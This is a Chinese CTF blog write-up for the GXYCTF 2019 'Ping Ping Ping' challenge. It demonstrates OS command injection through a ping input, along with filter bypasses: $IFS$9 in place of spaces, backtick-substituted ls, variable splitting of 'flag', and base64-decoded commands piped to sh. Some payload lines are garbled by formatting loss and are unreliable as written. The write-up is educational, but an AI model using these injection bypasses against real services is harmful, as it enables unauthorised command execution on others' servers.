GXYCTF 2019Ping Ping Ping
本文最后更新于100 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

[GXYCTF 2019]Ping Ping Ping_[gxyctf2019]ping ping ping-CSDN博客

Pasted image 20241127232943.png

Pasted image 20241127233007.png

尝试127.0.0.1;ls
测试有没有rce漏洞
127.0.0.1;ls
发现flag.php
Pasted image 20241127233107.png

尝试读取flag.php,发现被过滤
Pasted image 20241127233524.png

使用空格绕过
;cat$IFS9index.php![Pastedimage20241127234112.png](http://gzxingyu.cloud/wpcontent/uploads/2025/01/Pastedimage20241127234112.png);catIFS$9ls
反引号内的内容会先被当成命令执行,再将执行结果作为外部命令的一部分再去执行。
在这里就是先执行 ls ,结果为 index.php flag.php ,再 cat 查看这些文件。其作用等同于 cat * 查看当前目录下所有文件,但是 ‘*’ 被过滤了。
flag在源码里
Pasted image 20241127234540.png

总结

空格绕过
$IFS$9
‘ls’

payload1:反引号命令执行( ` ` )
;cat$IFS$9ls

反引号内的内容会先被当成命令执行,再将执行结果作为外部命令的一部分再去执行。
在这里就是先执行 ls ,结果为 index.php flag.php ,再 cat 查看这些文件。其作用等同于 cat * 查看当前目录下所有文件,但是 ‘*’ 被过滤了。

payload2:变量赋值再使用
;b=ag;a=fl;cat$IFS1a$b.php

意思就是将 “ag” 赋值给变量 b ,将 “fl” 赋值给变量 a ,最后拼接起来,ab 就是 “flag” ,这样就绕过了对 “flag” 字符串的检测。
$IFS$1 也是用于替换空格。

payload3:base64 编码
`;echo$IFS1Y2F0IGZsYWcucGhw|base64IFS$1-d|sh

其中 Y2F0IGZsYWcucGhw 就是 cat flag.php 的 base64 编码。
“|” 是管道符,将上一条命令输出的结果作为下一条命令的输入。
base64 -d 是 Linux 中用于将字符串进行 base64 解码的命令。
sh 用于执行 shell 命令。
以此方式达成用 sh 命令执行 cat flag.php 的效果。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇